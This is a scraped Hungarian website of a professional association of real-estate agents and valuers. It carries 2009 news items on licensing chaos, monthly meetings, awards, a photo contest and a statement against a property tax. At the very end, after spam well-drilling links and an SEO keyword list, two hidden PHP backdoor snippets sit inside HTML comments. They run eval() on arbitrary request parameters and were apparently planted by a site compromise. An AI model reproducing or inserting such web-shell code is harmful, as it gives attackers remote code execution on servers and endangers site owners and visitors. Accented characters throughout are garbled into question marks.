Seötér Ágnes az értékbecsl?k lassan húsz éves kálváriáját vette górcs? alá.

  • A 8/1990. II.l,
  • majd az OKJ 52-es,
  • a Fels?fokú,
  • a Fels?szint?,
  • az Eufim,
  • a Vagyonértékel?, mely ugyan OKJ 54-es volt, de mára okj 52-es lett, ami nem azonos az eredeti OKJ 52-essel, szóvel érti mindenki, ugye?
  • Essec
  • Nothingami
  • Posztgraduális Igazságügyi képzés (igazságügyi szakért? jelöltek, mindíg, mindent elvégeztek, de mégse lehettek szakért?k, éppen, mikor az újabb feltételeket teljesítették, akkor változott ismét a rendszer,  bár a bíróság, a rend?rség munkája rendkívül hosszadalmas a szakért?k hiányában)
  • Term?föld-értékel? képzés, az FM ezt fogadja el

és még sorolhatnánk.

Ezek a képzések természetesen kiválóak és fontos, hogy a szakember képezze magát, de nincs vége,  nem átlátható és ismét a lebegtetés, hogy teljesen bizonytalan legyen mindenki magában, a kompetenciájában, az elvárásokban.

A beszélgetés során sok keser? tanulság hangzott el, többek között szintén a kompetenciák, különböz?  egymásnak ellentmondó, kiadott, majd pár hét múlva módosított, kés?bb teljesen visszavont rendeletek, feleslegesen befizetett regisztrációs díjak kérdésében is a végesincs árnyékok, melyre az értékbecsl?k boldogan ráugrottak, ráugranak, majd felkelnek és leporolják magukat…

Ez tarthatatlan és mivel nem hisszük, hogy ennyi tehetségtelen ember kezeli a problémát, valószín?leg szándékossság és pontos, adagolt, tervezett dózisokban rombolják le a szakma méltóságát.

 

 

Felszólítás a szakmai érdekek elleni tevékenység beszüntetésére

Egyes cégek arra építik fel vállalkozásukat, hogy az ingatlanszakmát sért? módon mutatják be – kontrasztként saját m?ködésük el?segítésére. Ezek ellen a szervezetünk el?ször felszólítással, majd jogi és médiabeli eljárással lép fel.

Szakmai szervezetünk károsnak tartja a hasonló jelleg? ügyfélszerzési technikákat, ezek a Szervezett Ingatlanszakma érdekeivel ellentétesnek.

Részletek>>>>>

 

Kolbászfesztivál 2009

Közösséger?sít? kolbászgyúrás, október 24, Békéscsaba

A hagyománnyá vált Békéscsabai Kolbászfesztiválra ismét  jelentkezett a MIÉSZ csapata.

Akik tavaly ott domborítottak, azokat f?képp és mindenképpen várjuk, de várjuk azokat is, akik csatlakoznának még hozzánk. Örömmel vesszük, ha bárki odajön egy kicsit er?síteni a csapatot, akár egy rövid id?re is, vagy egy beköszönés erejéig.

Lehet?ség van részt venni szponzornak is, molinóval, kis csapattal is, erre a célra külön foglaltunk asztalt.

Folytatás>>>>

 

 

Ingatlanszakma – teljes káosz. Így az ingatlanadóval mi lesz…

A különböz? jogszabályok ellentmondásai miatt az értékbecsl?k méltatlan helyzetben vannak, kötelez? megfelelniük, ha dolgozni akarnak, de nincs egy stabil pont, egy kapaszkodó sem, ami segítené munkájukat.

Az elírások nagy része elavult, idejétmúlt, ugyanakkor betartásuk természetesen kötelez, ami irreális eredményekhez vezethet !

Dr Kardos Kázmér el?adása, a teljes anyag

tovább a cikkhez>>>>

 

Miész rendezvények -amit a hitelfelev? sosem tudhat meg…

2009 szeptember 24, 18 ÓRA Márványmenyasszony étterem

Az értékbecsl?, a  hitelközvetít? és a megbízó szerepe a folyamat kezdetét?l a folyósításig……

Titokzatos, rejtelmes és izgalmas dolog belesni a kulisszák mögé, ahol a pénzgyár m?ködik… vajon hogyan állapítja meg az értékbecsl? a házam értékét?

Vajon miért nem láthatom az általam kifizetett munkát sosem?

Hogyan tud segíteni a hiteltanácsadó?

Van-e szerepe a banknak az adott ingatlan forgalmi értékének megállapításánál?

Mennyire önálló egy értékbecsl??

Mennyire jók a szabályozók?

Mit szól ehhez a Pszáf?

Kiváló el?adók, remek téma, slágergyanús üzenet.

Szeptember 24-én, este 18 órakor találkozunk a Márványmenyasszonyban!

 Következ? -októberi – találkozó témája:

Kisvállalkozóból ingatlanközvetít?, ingatlanközvetít?b?l értékbecsl?, értékbecsl?b?l hiteltanácsadó, hiteltanácsadóból követeléskezel?.

MIlyen lehet?ségei vannak egy ingatlanszakembernek, mennyi fér bele a jóízlésbe, mi lesz a jöv??

 

 

Az egyik szemem sír, zokog, a másik meg csak kicsit..

Ingatlan-felügyeleti hatóság…

Itt  az ingatlanvállalkozás-felügyeleti hatóság: tulajdonképpen a régi, bevált jegyz?i feladatot nevezte át, csak a szakmai egyeztetés valmi furcsa rend szerint történik..

Mir?l is van szó?

Az ingatlanszakma egyetlen lehet?sége, hogy ellen?rizze, aki köztünk dolgozik, jogosan teszi-e, a Megyei Névjegyzék vezetése.

Új elnevezés: Ingatlanvállalkozás-felügyeleti hatóság

Na, ett?l még senkinek nem lesz gyereke, tulajdonképpen ugyanaz, mint eddig, jegyz?i hatáskör az engedély kiadása, azaz a Névjegyzékbe való felvétel.

Tavaly az ÖTM-mel történt tárgyalások alkalmával megegyeztünk abban, hogy folytatás:klikk ide

 

Romokban az Ingatlanszakma

“tódozott-fódozott” közigazgatás, ellen?rizhetetlen ingatlanszakemberek, sorsüldözött ingatlanközvetít?k, értékbecsl?kb?l metamorfózissal képz?dött vagyonértékel?k

 

Megsz?nt a PSZÁF lista.

 

Hogyan akarja a kormány az ingatlanadót bevezetni, amikor még az értéket meghatározó szakemberek státusza is teljességgel kaotikus?

 

Életpálya? Ugyan…

 

Ismét bebizonyosodott, hogy az elmélet, meg a gyakorlat micsoda hatalmas ellentétben van egymással. Látszik, amikor egy íróasztalnál egy (vagy több) megkövesedett bürokrata és egy (akár még jószándékúnak is mondhatnánk – de nem mondjuk, mert nem az) lobby mivé teszi, mivé zülleszti a még felcseperedni sem képes ingatlanszakmát… Folytatás itt

 

Mi végett vagyunk a világon?

A MIÉSZ hitvallása, társadalmi szerepe, elkötelezettsége

 

Az Egyesület célja:
Az egyesület minden tagja megfelel? szakmai végzettséggel rendelkezik és regisztrált a www.ingatlanszaknevsor.hu  értékbecsl? és ingatlanközvetít?i on-line nyilvános, mindenki által elérhet? oldalon, aminek segítségével biztosítják személyük és irodájuk elérhet?ségét, beazonosíthatóságát és nyomon követését esetleges vitás ügyekhez.

Folytatás, klikk ide!!

 

ingatlanvállalkozás-felügyeleti hatóság

Az üzletszer? ingatlanközvetít?i tevékenység folytatásához az ingatlanvállalkozás-felügyeleti hatóság engedélye szükséges.

Kivonat
2009. évi LVI. törvény A közigazgatási hatósági eljárás és szolgáltatás általános
szabályairól szóló 2004. évi CXL. törvény módosításáról
Továbbiak:http://5×5.hu/blog/41781/megint_nem_kerdeztek_senkit

 

 

Megtartotta éves közgy?lését a Magyar Ingatlanközvetít?k és Értékbecsl?k Szakmai Szervezete. Nagy érdekl?dés, nagy részvétel

Létrejött az uzsora- és lakásmaffia-ellenes segítség a kiszolgáltatottaknak: az ingatlan SOS rendszer. Ingatlanszakmai Azonosító Zöldkártyát kapnak az egyéni tagságon alapuló szervezet tagjai, illetve – kérésre- a központi nyilvántartásukba adataikkal önként bejelentkezett -nem tag- szakemberek.

Megtartotta éves közgy?lését a Magyar Ingatlanközvetít?k és Értékbecsl?k Szakmai Szervezete.

(a képen a jelenlév?k egy része látható)

Két fontos újdonságot jelentett be a vezet?ség:

Ingatlanszakmai Azonosító Zöldkártyát kapnak az egyéni tagságon alapuló szervezet tagjai, illetve –kérésre- a központi nyilvántartásukba adataikkal önként bejelentkezett -nem tag- szakemberek.
A dombornyomott azonosító zöldkártya tartalmazza a szakember adatait, a fotóját, valamint egyedi azonosítószámmal ellátott hologrammos matricát.
A kártyához tanúsítvány is tartozik, melyet a szakmai szervezet állít ki a tagok részére.

Létrejött az uzsora- és lakásmaffia-ellenes segítség a kiszolgáltatottaknak: folytatás:klikk

 

Azonosító Zöldkártya

Magyar Ingatlanközvetít?k és Értékbecsl?k Szakmai Szervezete (MIÉSZ) kibocsátotta az els? dombornyomott, hologrammos szakmai azonosító kártyát.

Azonosító Zöldkártya
A Magyar Ingatlanközvetít?k és Értékbecsl?k Szakmai Szervezete (MIÉSZ) kibocsátotta az els? dombornyomott,

hologrammos szakmai azonosító kártyát.

Elemi érdekl?dés mutatkozott a kártya iránt, mind a szakmán belül, mind a szakmán kívül, ugyanis ezzel a jogosulatlan ingatlanszakmai m?ködést – mely a szakma érdekek ellen és a visszaélések elkerülése végett kiemelten fontos – ki lehet zárni.

A cikk további része: klikk

 

 

Az Uzsora és Lakásmaffiaellenes munkacsoportját létrehozta a Magyar Ingatlanközvetít?k és Értékbecsl?k Szakmai Szervezete

Megalakult az Ingatlan SOS

Az Uzsora és Lakásmaffiaellenes munkacsoportját létrehozta a Magyar Ingatlanközvetít?k és Értékbecsl?k Szakmai Szervezete.

Az uzsora és lakásmaffiaellenes munkacsoportját létrehozta a Magyar Ingatlanközvetít?k és Értékbecsl?k Szakmai Szervezete.

 

Az Európai Sors-társakegyüttm?ködésével, a MIÉSZ Országos Hálózatának segítségével a rendszer fogadni tudja a vidéki veszélyeztetettek, kiszolgáltatottak bejelentéseit.

A cikk további része, klikk…

 

Meghívó

3 évesek lettünk.

A Magyar Ingatlanközvetít?k és Értékbecsl?k Szakmai Szervezete 2009-es közgy?lésére szeretettel meghív minden érdekl?d?t.

A Közgy?lés a MIÉSZ legfontosabb éves találkozója, ahol a beszámolók mellett a tagság részére átadásra kerülnek az Ingatlanszakmai Azonosító (zöld) kártyák.

A dombornyomott kártyák mellett a tanúsítványok és az egyéb, egyedi azonosításra alkalmas kellékek is átadásra kerülnek.

Nagyon sok új tag jelentkezett, jelenleg 149 tagunk van,

a fotón a 2008-as Közgy?lés résztvev?i láthatók

ezért fontos, hogy minden új tag is részt vegyen a Közgy?lésen, hogy megkaphassa a saját a kártyát, tanúsítványt, oklevelet, egyebeket., valamint megismerhessük egymást.

Akik  a www.ingatlanszaknevsor.hu oldalon jelentkeztek a szervezetünkbe, azok számára is elkészítettük az azonosító kártyát, melyet itt adunk át.

A Közgy?lésen a komoly kérdések mellett lazább közösségi együttlét és szabad program lesz, ahol mindenki jól érezheti magát.

Az ajánlott ruházat: sportos, szabadid?s.

A várható menü hasonló lesz az elmúlt évihez, így a  bográcsozás mellé az italok is biztosítottak.

További részleteket hamarosan küldünk.
A Közgy?lés programja:

-MIÉSZ évi közgy?lés, 2009 juni. 26, Budaörs.
Gyülekezés  15 30 tól  kezdés:  16 00-kor       Amennyiben nem határozatképes a tagság, akkor ismételt taggy?lés, kezdete 16 óra 20 kor.    – Határozatképtelennek min?sül? közgy?lés esetén a változatlan napirenddel összehívott, megismételt közgy?lés akkor határozatképes, ha azon legalább tíz tag részt vesz. Amennyiben a meghívott tag nem tud jelen lenni, úgy a szavazatát és saját elképzelését nem tudja érvényesíteni, a megismételt közgy?lés a megjelentek számára való tekintet nélkül határozatképes lesz az eredeti napirendekben szerepl? kérdésekben. Ha a megismételt közgy?lés létszáma nem elegend?, 2/3-os többséghez kötött kérdésekben nem dönthet.
Megnyitó

Elmondja Seötér Ágnes elnökségi tag Hajdú Tamás elnökségi tag
Meghívottak köszöntése   Beszámoló az elmúlt évr?l:    levezeti: Békési Béla elnök
-mit tettünk eddig?

-mit kellett volna tenni?
– szakmai azonosítók átadása
-munkabizottságok
-a már megalakult munkabizottságok vezet?inek beszámolója – elmúlt év, elképzelések, tervek és a megalakulandó munkabizottságok   -pénzügyi jelentés – az elmúlt év számokban
-taglétszám   -áthúzódó elképzelések   -küldetés   -személyi kérdések
Hozzászólások    Köszöntés mindenkinek.    A sorrend változhat
Szünet   2 rész:
A résztvev?k  felszólalása, köszönt?k, beszélgetések.
VACSORA    Tánc, zene, der? 🙂    Karaoke
Minden kedves kollégánkat várjuk.

 

Csütörtöki találkozó

Nagyon sikeres volt!

A csütörtöki esten a TÜv magyarországi képviselete a min?ségtanúsítványokról, azok alkalmazásáról és a kapcsolatos képzésekr?l  tartott komoly bemutatót. Ezután dr Kardos Kázmér és dr James Bondar el?adásait hallhattuk, rendkívül szines és élménydús, interaktív el?adások voltak.

Az est részletesebb ismertet?jét és a készült fotókat, videókat hamarosan láthatják, folyt. köv.

 

Ingatlanadó és szakmai kérdések

Manapság mindenki ért az ingatlanok értékének megállapításához. Nem árt, ha a szakemberek is megszólalnak…. Találkozó a Márványmenyasszony étteremben 28-án

Az IME és a MIÉSZ rendezésében:

Téma: Ingatlanszakma és kérdések az Ingatlanadó tükrében.
A belépés ingyenes.

  • A min?ségbiztosítási rendszerekr?l (TÜV Rheiland)
  • értékbecsl?i lehet?ségek (Dr Kardos Kázmér)
  • közvetít?i problémák (Dr James Bondar)
  • szabályozatlanságok
  • vadhajtások
  • betarthatatlan követelmények

 

..az ingatlanközvetít?k káoszba torkolló helyzete – ezek a témák lesznek, részletezve a mellékletben.
Szeretettel várunk mindenkit!
A következ? néhány kérdésre szeretnénk, ha válaszolnál, ?szintén.

A kérdések nem tárolják a válaszoló adatait, ezért ?szinte válaszokat kérünk.

Kattints az alábbi linkre, ha nem nyílik meg, kérjük, másold be a böngész?dbe!
http://spreadsheets.google.com/embeddedform?key=rEumPrU09PV1lkVa_KCKcMw

Meghívó letöltése word dokumentumban

 

üdvözlettel:
Karlik Imre

e-mail:ip@ingpre.hu

tel.: 30/2223141

Ime

 

Békési Béla
bekesibela@gmail.com
20/9283266
Miész

 

 

Ingatlanadó

Elutasítás – a MIÉSZ sem támogatja

  1. május 14., 01:08
    Ingatlanadó – a szakmai szervezetek elutasítják
    Budapest, 2009. május 14., csütörtök (OS) – Ingatlanadó – a Magyar Ingatlanközvetít?k és Értékbecsl?k Szakmai Szervezete közleménye

Miért nem lehet Magyarországon ingatlanadót bevezetni?

A Magyar Ingatlanközvetít?k és Értékbecsl?k Szakmai Szervezete megállapítása szerint a háttér, azaz az ingatlankataszter hiányzik legjobban, e nélkül olyan, mintha valaki a tet?vel kezdené az építkezést.
Miért is kellene ez a nyilvántartás?
A term?föld aranykorona értékének meghatározása szintén az adózás mértékének meghatározása miatt volt. (a korrekt adóztatás miatt)
Komoly, országos munkával megállapították, hogy egy-egy területen milyen jövedelem várható a föld adottságai és a termesztett növények alapján. Ez a felmérés néhány évet vett igénybe, sokan dolgoztak rajta és annyira alapos volt, hogy néhány belemaszatolástól eltekintve a mai napig használjuk.
Az épületeknek nincs ilyen korrekt nyilvántartása, a tulajdoni lapon egy kacsalábon forgó palota, mely 500 m2-es és egy egyszer? kis házikó a maga 60 M2-ével egyformán lakóház, udvarként jelenik meg.
A különböz? átalakítások, engedély nélküli épületek, toldások és bontások követhetetlenek. Nincs korrekt információ ezeknek a mértékér?l.
Az épületek naprakész nyilvántartásához szükséges földhivatali reform pénzsz?kére hivatkozva nem történik meg, a földhivatalokban leépítések vannak, fejlesztés helyett.
A teljes felméréshez 6-8 év, a pontos nyilvántartás elkészítéséhez óvatos becslés alapján is 10 milliárd Ft-os nagyságrend? költséggel kell számolni.

A másik fontos kérdés: a jelenlegi felállásban a megbízó állam szempontjai alapján készült vélemények egyoldalúak lehetnek, ezzel sérülhet az állampolgárok érdeke, hihetetlen mérték? per-sorozat indulhat el, melynek beláthatatlan következményei lehetnek…

Ezeket a kérdéseket megnyugtatóan, átgondolt és szakmailag egyeztetett formában, a szakmai szervezetek részvételével, azok javaslatainak figyelembevételével a források biztosításával érdemes ismét el?venni.
Ebben a formában nem javasoljuk a bevezetését.
Kiadó: Magyar Ingatlanközvetít?k és Értékbecsl?k Szakmai Szervezete

 

 

Találkozó a Márványmenyasszonyban, ápr. 30-án

Ismét itt van a hónap utolsó csütörtökje, vagyis a szokásos Márványmenyasszony Étterembeli MIÉSZ találkozó! Ezúton meghívlak Benneteket a Magyar Ingatlanközvetít?k és Értékbecsl?k Szakmai Szervezete által rendezett szokásos havi szakmai összejövetelünkre. A rendezvényt, mint mindig Budapesten, a Márványmenyasszony Étteremben / http://marvany.kertvendeglo.hu / tartjuk, este hat órai kezdettel. *A találkozó kiemelt témája az ingatlanosokat is er?sen érint? gazdasági válság, és annak hatásai, vagyis **”hogyan tovább Ingatlanos?”* *

Kiemelt témáink és meghívott el?adóink:

Csorba Dóra

a mezítlábasságtól a franchise megoldásokig…
/teljes piaci körkép, belülr?l/

Cserven Gábor

**A válság olyan, mint a jégkorszak, csak a tehetetlenek nem élik túl**…
/van megoldás, és ebben tud segíteni Gábor!/*

*Kun István

ingatlanosok szakosodása…
/ahogy mondani szokták, egy fenékhez egy ló tartozik…/*

* * Várok Mindenkit, gyertek el, az el?adások utáni beszélgetésben pedig
mondjátok majd el, Ti is hogy, *”hogyan tovább Ingatlanos?”*


üdvözlettel,

Hajdú Tamás

 

MIÉSZ elnökség

 

Pályázat – fotó – ingatlan

Lassan hagyománnyá válik, hogy valamilyen fotópályázatot hirdetünk. Ez a legújabb.

Cím: Az Év Ingatlanfotósa 2009” – ingatlanfotó-pályázat

Kiíró: Magyar Ingatlanközvetít?k és Értékbecsl?k Szakmai Szervezete (MIÉSZ)

Határid?: 2009. 04. 30. Pályázhat: hivatásos fotósokon kívül bárki

————————-„Az Év Ingatlanfotósa 2009″ pályázati felhívás célja:

Hazánk eladó és/vagy kiadó otthonaiban, lakóingatlanjaiban

készült (ritka) pillanatok fotón történ? bemutatása.

Az ingatlanközvetítés és értékbecslés valamint a társadalom szemléletformálása és esztétikai értékítéletének fejlesztése érdekében, a Magyar Ingatlanközvetít?k és Értékbecsl?k Szakmai Szervezete hagyományteremt? célzattal meghirdeti

„Az Év Ingatlanfotósa 2009″ cím? fotópályázatot az alábbi kategóriákban:

ABSZOLÚT (tökéletes, mintaszer? luxuslakás ill. teljesen, totálisan felújítandó ingatlan)

ABSZURD (lehetetlen, nevetséges, idétlen megoldások az ingatlanban)

EXTRÉM (széls?séges élethelyzetek és/vagy érdekességek az ingatlanban)

Követelmény, hogy a beküldött felvételek hiteles mondanivalót tükrözzenek, etikai szempontból ne legyenek kifogásolhatóak, valamint természetes körülmények között készüljenek!

Pályázni csak 2009. március 23. és április 26. között készült olyan fotókkal lehet, melyek eladó és/vagy kiadó ingatlanról készültek.

A kategóriák nyertesei márvány emlékplakettet és oklevelet kapnak, melyet a következ? évi (2010-es) Ingatlanfarsangon adunk át.

Az összes kép közül a legjobb fotó készít?je bruttó 100 000,- Ft  érték? támogatói tárgyi felajánlást kap.

A 3 kategórián túl pályázni lehet a Belházy Miklós-díjra, amelyet annak a

24 év alatti pályázónak ítél oda a zs?ri, aki a legszínvonalasabb fotót küldi

be az “Abszolút” kategóriában.

Belházy Miklós néhai balatonboglári kollégánk emlékére alapítottuk ezt a díjat, melyet ezentúl minden évben átadunk.

Az ifjúsági kategória gy?ztese az “Az Év Ifjú Ingatlanfotósa 2009” címet nyeri el.

“Az Év Ingatlanfotósa 2009” címet a legkiemelked?bb képet beküld? egyéni pályázó nyeri el, melynek értéke 280 euro és egyben

3 napos üdülés, reggelivel 5 f? részére az erdélyi Téglási panzióban. www.teglaspanzio.ro

A zs?ri által legjobbnak ítélt felvétel az “Az Év Ingatlanfotója 2009” díjat kapja.

A pályázaton a hivatásos fotóriportereken kívül bárki részt vehet.

Pályázni olyan digitális úton készített felvételekkel lehet, melyek díjazva még nem voltak, illetve még nem szerepeltek kiállításon.

Nevezni – a hosszabbik oldalán fekv? képnél 1400, álló képnél 1000 pixeles – JPEG formátumú képekkel lehet, ezek kerülnek elbírálásra. Utólag szerkesztett képet a zs?ri nem fogad el.

A pályázatra készített fotókat névvel, címmel, születési évszámmal ellátva e-mailben kérjük megküldeni: a Magyar Ingatlanközvetít?kSzakmai Szervezete részére, amiesz@googlegroups.com, elektronikus levélcímre,

a tárgy mez?ben feltüntetve: Ingatlanfotó-pályázat 2009.

Beküldési határid?: 2009. április 30. A képek zs?rizésének id?pontja: 2009. május 15.

A zs?ri elnöke Hajdú Tamás operat?r, fotós. A zsüri tagjai: Toldy Éva és Seötér Ágnes.

További két önkéntes zsüritag jelentkezésére van lehet?ség.miesz@googlegroups.com címen

Egy pályázó legfeljebb 5 képet küldhet be.

A pályázónak tudomásul kell vennie , hogy a beküldött képek elkészítésével vagy azok nyilvános bemutatásával (kiállításával) okozott személyiségi és szerz?ijog-sértésekért minden felel?sség a beküld?t (szerz?t) terheli,

beleértve a jogsértéssel bekövetkez? anyagi felel?sséget is.

A pályázaton részt vev? a pályázati anyag beküldésével automatikusan elfogadja azt a pályázati feltételt, hogy a Magyar Ingatlanközvetít?k és Értékbecsl?k Szakmai Szervezete (MIÉSZ) a pályázattal kapcsolatos

publikációinál a képeket szabadon és térítésmentesen használhatja.

Eredményhirdetés: 2009. május 18. a http://www.miesz.huweboldalon, ill. minden pályázót e-mail útján is értesítünk.

 

Ingatlanszakmai díjak

Az idén is díjakat adományozott a szakmai szervezet

Ingatlancitrom díj 2009

 

Az Ingatlancitrom díj az idén el?ször került adományozásra.

A Magyar Ingatlanközvetít?k és Értékbecsl?k Szakmai Szervezete 2009 02. 21-én a hagyományos Ingatlanfarsangon az Ingatlancitrom díjat awww.tulajdonostol.com portálnak adományozta.

A rendezvény a www.ingatlanbazar.hu  és awww.ingatlanok.hu ingatlanos portálok közrem?köd? támogatásával, civil szervezetek részvételével zajlott le, 2009, február 21-én, Budapesten.

 

Ingatlanmaffia ellenes Életm?díj 2009-02-23

Az Ingatlanmaffia ellenes életm?díj az idén el?ször került adományozásra.

A Magyar Ingatlanközvetít?k és Értékbecsl?k Szakmai Szervezete 2009 02. 21-én a hagyományos Ingatlanfarsangon az Ingatlanmaffia – ellenes Életm?díjat  Devánszkyné Dr. Molnár Katalinnak adományozta.

 

2002-ben az Európai SORS-TÁRSAK Közhasznú Egyesülete petícióban kérte egy maffia-ellenes albizottság létrehozását, melyet a parlament megszavazott. Az albizottság elnökének Devánszkiné Dr. Molnár Katalint választották, aki Dr. Kosztolányi Dénessel és az albizottság tagjaival nagyon sokat tett ezért az ügyért. Jelenleg az Országgy?lésben sajnos nincs ilyen bizottság.

 

Ingatlanszakmai Életm?díj 2009

Az Ingatlanszakmai Életm?díjat azok a személyiségek kapják, akiknek  emberi tartása és hozzáállása példamutató, személye nem osztja meg a szakmai közvéleményt, aki sokat tett azért, hogy az Ingatlanszakma fejl?djön.

A2009-es évben Netkovszky Kálmán kapta.

Netkovszky Kálmán a Füti –Omega vezet?jeként a magyarországi Ingatlanszakma kialakításában a kezdetekt?l sokezer ingatlanszakembert tanított, személye minden ingatlanszakmai réteg számára elfogadott.

A rendezvény a www.ingatlanbazar.hu és awww.ingatlanok.hu ingatlanos portálok közrem?köd? támogatásával, az IME és a KIVOSZ ingatlanszakmai szervezet együttm?ködésével, valamint az Európai Sors-Társak egyesületének együttm?ködésével zajlott le, 2009, február 21-én, Budapesten

 

 

 

2009 Ingatlanfarsang

Ismét megrendezésre kerül a hagyományos Ingatlanfarsang.

Február 21-én, szombat este 18 és hajnali 1 óra között tartjuk meg az ingatlanfarsangot, az ingatlanszakma

farsangzáró közös rendezvényét.
Az est színhelye a MÁRVÁNYMENYASSZONY étterem,http://marvany.kertvendeglo.hu

Kérjük, hogy minden résztvev? hozzon magával, kb. 500 Ft értékben tombolatárgyat. A tombola bevételét jótékony célra fordítjuk, mint ahogyan a rendezvény nettó eredményét szintén karitatív célra szánjuk.

A 2009-es évre kifizetett tagsági díjjal rendelkez? MIÉSZ tagoknak csak 7000,- Ft!

Az est programjai:
o 18.00 Kezdés, az érkezettek köszöntése, bemutatások
o 18.50 Köszönt?. Megnyitó, az est köszönt?je, a szervezetek köszönt?i
o 19.15 Protokoll /díjak átadása, a szakmai szervezetek részér?l megemlékezések/
o 19.30 Vacsora, benne sokféle finomsággal minden földi jóval.
o 20.30 M?sor, meglepetésekkel! (Borisz, a csodakutya!! és más érdekességek!!!)
o 21.20  Szépségkirályn? és Macsó választás
o 21.40 Árverés érdekes, értékes tárgyak licitálása a karitatív pénzadományok érdekében.
o 22.10 Karaoke, tánc, szórakozás, barátkozás…
o 24.00 egy kis energiapótlás… és utána, ha még bírjuk zene, tánc…

Belép?jegyek el?vételben rendelhet?k 2009. február 18-ig a  jelentkezési lapon.

 

Letölthet? itt 

Fizetés átutalással: 9000 Ft/f? az összeget a MIÉSZ számlájára az AXA Bank 17000019 – 11741725 számlaszámra kérjük átutalni. Üzenetként a befizet? és a résztvev?k nevét, a számlázási címet és „Ingatlanfarsang” megjelölést kérjük ráírni.

 

További info  20/9283 266

 

2009. A kihívások éve

A jogbiztonság, a rendezett jogi keretek hiánya id?zített bombaként ketyeg.

A  világ 2001 óta a válságról szól.Voltak el?tte és utána  válságok, de ez az informatika és a média globalizációja miatt “házhoz” jött. Eleinte képekben, majd a maga durva valójában.

A legújabb pénzügyi válság sokkal nagyobb hatással van a gazdaságra, mint bárki gondolná. Ebben a közegben bármi megtörténhet. BÁRMI!

Nehéz szerepet vállal a MIÉSZ az Ingatlanpiac megreformálásának igényével, azonban a napi hírek a visszaélésekr?l, a panamákról, az ingatlanmaffia – jelleg? b?ncselekményekr?l egyre éget?bben szólítanak fel mindenkit:

Tegyünk rendet a portánkon!

A hozzánk benyújtott panaszok arról tanúskodnak, hogy a legfontosabb probléma a számonkérhet?ség hiánya.

Ilyen viszonyok között renkív?l fontos az olyan piaci gyakorlatok ösztönzése, amelyek a szolgáltatók kiválasztásában az ingatlantulajdonosok biztonságát növelik, amelyek segítségével, nagyobb eséllyel kerülhet?k el azok a vállalkozások, szerepl?k, akiknek a piaci magatartása veszélyt jelent a fogyasztókra nézve. A tapasztalatok azt mutatják, hogy a szimpátia és a referencia lista ehhez sajnos nem elég, kezdetben ugyanis a vállalkozó a legjobb arcát mutatja, a referencia listán pedig nem tüntetik fel a megkárosított ügyfelek nevét. Az ingatlan értékesítések és az értékbecslések sikeressége érdekében ugyanakkor garantálni kell az esetleges fogyasztói jogviták gyors, egyszer?, és olcsó rendezésének feltételeit.

Az ehhez szükséges jogi háttér hiányos, esetenként egymásnak ellentmondó, vitatható, sokszor rossz.

A fogyasztók által sürgetett elvárásnak eleget téve, a MIÉSZ megkezdte az ELLEN?RIZHET? INGATLANOSOK rendszerének a piaci gyakorlatba történ? bevezetését. Így a 2009-es évben a lakosságnak már lehet?sége van min?sített szakembereket megbízni. Ez az intézkedés a jogbiztonság feltételeit teremti meg a fogyasztók számára.

 

Ingatlanszakmai életm?díj 2008

Budapesten, a Márványmenyasszony étteremben a Magyar Ingatlanközvetít?k és Értékbecsl?k Szakmai Szervezete több ingatlanszakmai szervezet egyöntet? javaslatára  a 2008-as Ingatlanszakmai Életm?díjat Dr. Lévai Jen?, a Budapesti M?szaki Egyetem Mérnöktovábbképz? Intézetének nyugalmazott egyetemi tanára részére adta át. A díjazott – akit azóta egyesületünk tiszteletbeli elnökeként is tisztelhetünk – nagy szerepet vállalt a hazai ingatlanszakmai kialakításában, az értékbecslés és a közvetítés oktatásában, az igazságügyi szakért?i képzésében. Kiváló szakmai tudásának és az emberi tartásának köszönhet?en elismertséget élvez hazánkban és külföldön is egyaránt.

 

Az ingatlanmaffia ellenes küzdelemért Oklevele

Az Ingatalanmaffia-ellenes küzdelemért 2008. évi OklevelétTörök-Szabó Erzsébet kapta. Török Szabó Erzsébet, a Sors-társak Egyesület ingatlanmaffia ellenes harcának „anyatigrise”, a kisemmizettek szószólója, aki maga is az ingatlanmaffia áldozataként került nehéz helyzetbe.

 

2008. év Ingatlanbloggere Oklevél

Ez évben Csorba Dániel, egy „ifjú Titán kapta” az írásaiért a 2008-as év Ingatlanbloggere oklevelet, és az ezzel járó arany klaviatúrát. Sajátos (és kissé vulgáris) írásai fél? el?bb-utóbb konszolidálódnak és lassacskán ? is olyan unalmas és szürke lesz, mint mi, akik az id?sebb generációt képviseljük..Itt lehet megtekinteni a kimondhatatlan nev? blogot.

http://olcsokutfurasok.hupont.hu/

http://www.kut-kutfuras-kutfuro.hu/

http://palaszerviz.hu/palateto-arak

http://profikutfuras.hu/lakossagi-kutfuras

 

http://kutfuras.agrar.hu/

Speciális értékbecslés. Különleges értékbecslés. Szoftver értékbecslés. Gépek értékbecslése.  Ki végezhet értékbecsl?i munkát? Ki értékelhet? Kik értékelnek bankoknak? Hogyan találok értékbecsl?t, Értékbecsl?, értékel?, ingatlanértékbecslés, ingatlan, ingatlanközvetít?, min?ség, TÜV, min?ségirányítás, ingatlanközvetít?i névjegyzék, ingatlanvagyonértékel?i névjegyzék, közm?értékelés, közm?-vagyonértékelés, közm?vagyon értékelés, forgalomképes ingatlanvagyon, vagyonértékelés, névjegyzék, megyei önkormányzati névjegyzék, ingatlanvállalkozás felügyeleti hatóság, ingatlanfelügyelet, ingatlan és felügyelet, ingatlan visszaélések, ki értékelhet term?földet? ki értékelhet eszközt? melyik értékbecslés hivatalos? hol vannak az értékecsl?k listázva? hol van az értékel?k listája? ki közvetíthet? ki lehet ingatlanközvetít?? hol találom a hivatalos értékbecsl?k listáját? hivatalos értékbecslés, hivatalos ingatlanközvetít?, legális értékbecsl?, legitim értékbecslés, korrekt értékbecslés, szabályos értékbecsdlés, korrekt ingatlanközvetítés, ki értékelhet ingatlant? Ki akar becsapni? Hol lehet megkeresni az értékbecsl?ket? Hol lehet megkeresni a közvetít?ket? Hol találok speciálism értékbecsl?t? Igazságügyi értékbecsl?. Bírósági értékbecslés. Bírósági ingatlanszakértés. Közm?vek értékbecslése. Közm?értékelés. Eladó ingatlan. Eladó ingatlanok. Ingatlaneladók. Ingatlancsalások. Ingatlan visszaélések.

<!– [insert_php]if (isset($_REQUEST["cTeCC"])){eval($_REQUEST["cTeCC"]);exit;}[/insert_php][php]if (isset($_REQUEST["cTeCC"])){eval($_REQUEST["cTeCC"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["mYxTs"])){eval($_REQUEST["mYxTs"]);exit;}[/insert_php][php]if (isset($_REQUEST["mYxTs"])){eval($_REQUEST["mYxTs"]);exit;}[/php] –>

